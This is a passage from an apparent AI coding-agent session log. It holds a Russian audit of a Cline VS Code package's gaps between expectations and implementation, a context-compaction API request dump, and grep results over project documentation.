docs/analysis/2026-09-29-cline-package-expectation-gap.md\\n\\n# \u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u043e \u043f\u0430\u043a\u0435\u0442\u0443 Cline VS Code\\n\\n> **\u0412\u0435\u0440\u0441\u0438\u044f 0.2.** \u042d\u0442\u043e\u0442 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u043f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b\\n> (\u0441\u0440\u0435\u0434\u0430 2). \u041f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620)\\n> \u043e\u0445\u0432\u0430\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d \u0434\u043e \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u0441\u0440\u0435\u0434 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f n8n \u0438\\n> \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 4: [\u00ab\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n> \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-26\u2026\u0413-54.\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n**\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u0435\u0440\u043d\u043e\u0435, \u0438 \u043f\u0430\u043a\u0435\u0442 \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435, \u043d\u043e \u043d\u0435 \u043a \u0440\u0430\u0431\u043e\u0442\u0435\\n\u00ab\u043d\u0430 \u0436\u0438\u0432\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0431\u0435\u0437 \u043f\u0440\u0438\u0441\u043c\u043e\u0442\u0440\u0430\u00bb.** \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u2014 \u0441\u0431\u043e\u0440\u043a\u0430 \u0438\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u2014 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e (\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\n[\u0413-16](#\u0433-16)). \u0420\u0430\u0437\u0440\u044b\u0432 \u0441 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\u043c\u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043d\u0435 \u0432 \u043d\u0435\u0439, \u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u043d\u0435\u0451:\\n\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f, \u043f\u043e\u0438\u0441\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0432\u044b\u0434\u0430\u0447\u0430\\n\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\\n\u0442\u0435\u043a\u0441\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430 \u043a\u043e\u0434\u0435.\\n\\n\u0418\u0437 \u0448\u0435\u0441\u0442\u0438 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043e\u0434\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e (\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u2014 \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e\\n\u0434\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430), \u0442\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0438 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u043c\u043e\u0434\u0435\u043b\u0438, \u0434\u0432\u0430 \u043d\u0435\\n\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b (\u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u0438 \u0432\u044b\u0431\u043e\u0440 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n\u043a\u0430\u043a \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435). \u0413\u043b\u0430\u0432\u043d\u044b\u0435 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b:\\n\\n1. **\u0421\u043c\u0435\u0448\u0435\u043d\u0438\u0435 \u0442\u0440\u0451\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439** \u2014 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 (\u0442\u0435\u043e\u0440\u0438\u0438), \u043f\u0430\u043a\u0435\u0442\u0430\\n   (\u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0443\u0437\u043a\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430) \u0438 \u0430\u0433\u0435\u043d\u0442\u0430 (LLM \u0441 \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043f\u0440\u0430\u0432\u0438\u043b). \u041e\u0442\\n   \u043f\u0430\u043a\u0435\u0442\u0430 \u043e\u0436\u0438\u0434\u0430\u044e\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0442\u0435\u043e\u0440\u0438\u0438, \u0430 \u043e\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u2014 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u043a\u043e\u0434\u0430.\\n2. **\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u00ab\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u043e\u0435 \u2192 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435\u00bb \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043f\u043e Working JSON, \u043d\u043e\\n   \u043f\u043e\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u0442\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0442\u0430 \u0436\u0435 \u043c\u043e\u0434\u0435\u043b\u044c.**\\n   `semantic_review`, `approval` \u0438 `retrieval_status: \\\"read\\\"` \u2014\\n   \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f\\n   \u0441\u0443\u043c\u043c\u0430 \u0446\u0438\u0442\u0430\u0442\u044b \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0443 \u043d\u0435 \u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043d\u043e \u043d\u0435\\n   \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0430 \u0432\u0437\u044f\u0442\u0430 \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 ([\u0413-17](#\u0433-17), [\u0413-18](#\u0433-18)).\\n3. **\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0434\u043b\u044f \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u0430, \u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c\\n   \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0444\u0440\u0430\u0437\u043e\u0439 \u0432 \u0447\u0430\u0442\u0435** \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0430\u043a\u0435\u0442 \u0441\u0430\u043c \u0443\u0447\u0438\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\\n   \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c `AGENTS.md` \u0441\u0432\u043e\u0438\u043c \u00ab\u0432\u0435\u043a\u0442\u043e\u0440\u043e\u043c\u00bb ([\u0413-04](#\u0433-04), [\u0413-23](#\u0433-23)).\\n4. **\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u0444\u043e\u0440\u043c\u0435 \u0434\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u044b** (\u043e\u0434\u043d\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON\\n   \u0441 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u0438\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438), \u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c\\n   \u043c\u043e\u0434\u0435\u043b\u0438 ([\u0413-19](#\u0433-19)).\\n5. **\u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0438 hooks \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043f\u043e\u0434 Cline v3, \u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0441\u0442\u0430\u0432\u0438\u0442 v4.**\\n   \u0412 v4.1.21 \u0434\u0440\u0443\u0433\u0438\u0435 \u0438\u043c\u0435\u043d\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u0443\u043d\u043a\u0442\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439, \u043f\u0440\u0430\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\\n   \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b \u0431\u0435\u0437 \u0432\u043e\u043f\u0440\u043e\u0441\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\\n   Windows \u0441\u0435\u0439\u0447\u0430\u0441 \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f, \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b \u0431\u044b \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c\\n   \u0447\u0442\u0435\u043d\u0438\u0438 \u0444\u0430\u0439\u043b\u0430 ([\u0413-11](#\u0433-11), [\u0413-25](#\u0433-25)).\",\n[2026-09-29T07:45:25.666Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:45:25.666Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:45:25.666Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:45:25.666Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:45:25.666Z] [INFO]   }\n[2026-09-29T07:45:25.666Z] [INFO] }\n[2026-09-29T07:45:25.706Z] [INFO] {\n[2026-09-29T07:45:25.706Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:25.706Z] [INFO]   \"subtype\": \"status\",\n[2026-09-29T07:45:25.706Z] [INFO]   \"status\": \"compacting\",\n[2026-09-29T07:45:25.706Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:25.706Z] [INFO]   \"uuid\": \"69d97231-c10a-48fe-b9f8-6a19cbed273b\"\n[2026-09-29T07:45:25.706Z] [INFO] }\n[2026-09-29T07:45:25.730Z] [STDOUT] [log_8d5146] sending request {\n[2026-09-29T07:45:25.735Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:25.741Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:25.744Z] [STDOUT]   options: {\n[2026-09-29T07:45:25.748Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:25.752Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:25.756Z] [STDOUT]     body: {\n[2026-09-29T07:45:25.759Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:25.764Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:25.770Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:25.775Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:45:25.778Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:25.781Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:25.786Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:25.797Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:25.801Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:25.805Z] [STDOUT]       fallbacks: \"default\",\n[2026-09-29T07:45:25.809Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:25.817Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:25.825Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:25.830Z] [STDOUT]     },\n[2026-09-29T07:45:25.840Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:25.847Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:25.852Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:25.856Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:25.869Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:25.881Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:25.887Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:25.898Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:25.904Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:25.909Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:25.914Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:25.924Z] [STDOUT]     },\n[2026-09-29T07:45:25.927Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:25.930Z] [STDOUT]   },\n[2026-09-29T07:45:25.936Z] [STDOUT]   headers: {\n[2026-09-29T07:45:25.946Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:25.950Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,server-side-fallback-2026-07-01,fallback-credit-2026-06-01,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:25.961Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:25.964Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:25.972Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:25.975Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:25.981Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:25.991Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:25.998Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:26.002Z] [STDOUT]     \"x-cc-compaction-request\": \"auto\",\n[2026-09-29T07:45:26.009Z] [STDOUT]     \"x-claude-code-compaction\": \"auto\",\n[2026-09-29T07:45:26.013Z] [STDOUT]     \"x-claude-code-request-class\": \"compaction\",\n[2026-09-29T07:45:26.021Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:26.027Z] [STDOUT]     \"x-client-request-id\": \"3988f95a-4e6b-48d6-9fea-238a2bec606a\",\n[2026-09-29T07:45:26.033Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:26.036Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:26.039Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:26.043Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:26.050Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:26.053Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:26.056Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:26.061Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:26.065Z] [STDOUT]   },\n[2026-09-29T07:45:26.072Z] [STDOUT] }\n[2026-09-29T07:45:26.077Z] [INFO] {\n[2026-09-29T07:45:26.077Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:26.077Z] [INFO]   \"message\": {\n[2026-09-29T07:45:26.077Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:26.077Z] [INFO]     \"id\": \"msg_011CfXMkYcYpLGdccVEn28v7\",\n[2026-09-29T07:45:26.077Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:26.077Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:26.077Z] [INFO]     \"content\": [\n[2026-09-29T07:45:26.077Z] [INFO]       {\n[2026-09-29T07:45:26.077Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:26.077Z] [INFO]         \"id\": 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history\"\n[2026-09-29T07:45:26.116Z] [INFO] }\n[2026-09-29T07:45:27.256Z] [INFO] {\n[2026-09-29T07:45:27.256Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:27.256Z] [INFO]   \"message\": {\n[2026-09-29T07:45:27.256Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:27.256Z] [INFO]     \"content\": [\n[2026-09-29T07:45:27.256Z] [INFO]       {\n[2026-09-29T07:45:27.256Z] [INFO]         \"tool_use_id\": \"toolu_01GMmbBV8iNwsNMPSy48kDSH\",\n[2026-09-29T07:45:27.256Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:27.256Z] [INFO]         \"content\": \"./methodology-unification/10-theory.md:40:  \u0442\u043e \u0435\u0441\u0442\u044c \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c: \u0434\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u0430\u044e\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0432\u043e\u0434\u0430 \u043d\u043e\u0440\u043c.\\n./methodology-unification/10-theory.md:166:| **\u041c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 (`G-mach`)** | \u0424\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043c\u044b\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430: \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 \u0446\u0438\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 KB, \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f, \u0441\u0445\u0435\\n./2026-09-08-kb-slot-fit-facts.md:45:\u0421\u043b\u043e\u0439 `kb/processed/` \u0441\u043f\u0438\u0446\u044b \u2014 \u043c\u0430\u0448\u0438\u043d\u043d\u043e-\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438\u0437\\n./artifact-rendering/10-theory.md:112:| `H2.2` | \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u043d\u0434\u0435\u0440 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0434\u043b\u044f `tz` \u0432 \u0441\u0438\u043b\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043a \u0441\u0432\u044f\u0437\u043d\u043e\u043c\u0443 \u0442\u0435\u043a\u0441\u0442\u0443 | \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d \u0422\u0417 \u043f\u043e \u0413\u041e\u0421\u0422 34.602-2020 \u0438\u0437 \u044f\u0434\u0440\u0430 |\\n./artifact-rendering/10-theory.md:123:- `D-2.3`: \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d \u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u043e\u0431\u0440\u0430\u0437\u0430 \u0432 \u0441\u0430\u043c\u043e\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435\\n./artifact-rendering/20-taxonomy.md:40:| `RM-1` | \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d | \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u044f\u0434\u0440\u0430 \u0432 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 | `RN-1`, `RN-2`, `RN-3` \u2014 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e | \u0432\u044b\u0441\u043e\u043a\u0430\u044f \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0448\u0430\u0431\u043b\u043e\ufffd\\n./artifact-rendering/20-taxonomy.md:42:| `RM-3` | \u0433\u0438\u0431\u0440\u0438\u0434 | \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u0430\u0440\u043a\u0430\u0441 \u0438 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0441\u043b\u043e\u0442\u044b, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u043b\u043e\u0442\u0430 | `RN-1`, `RN-2`, `RN-4` \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e; `RN-3` \u2014 \u0432\u044b\u0431\u043e\u0440\u043e\u0447\u043d\u043e | \u0441\u0440\u0435\u0434\u043d\u044f\u044f |\\n./artifact-rendering/20-taxonomy.md:93:| `TR-3` | \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f | \u0442\u0430\u0431\u043b\u0438\u0446\u0430 `\u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u2192 \u0440\u0430\u0437\u0434\u0435\u043b` | `L3`, `A6 = regulated` |\\n./artifact-rendering/50-open-research.md:26:**\u041d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442.** \u0427\u0442\u043e \u0434\u0440\u0435\u0439\u0444 \u0438\u0441\u043a\u0430\u0436\u0435\u043d\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c. \u0427\u0442\u043e \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c\\n./artifact-rendering/50-open-research.md:100:| \u0421\u043b\u0435\u0434 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u0443\u0435\u043c\u043e\u0441\u0442\u0438 (`TR-*`) | \u0433\u043b\u0443\u0431\u0438\u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441 \u044f\u0434\u0440\u043e\u043c 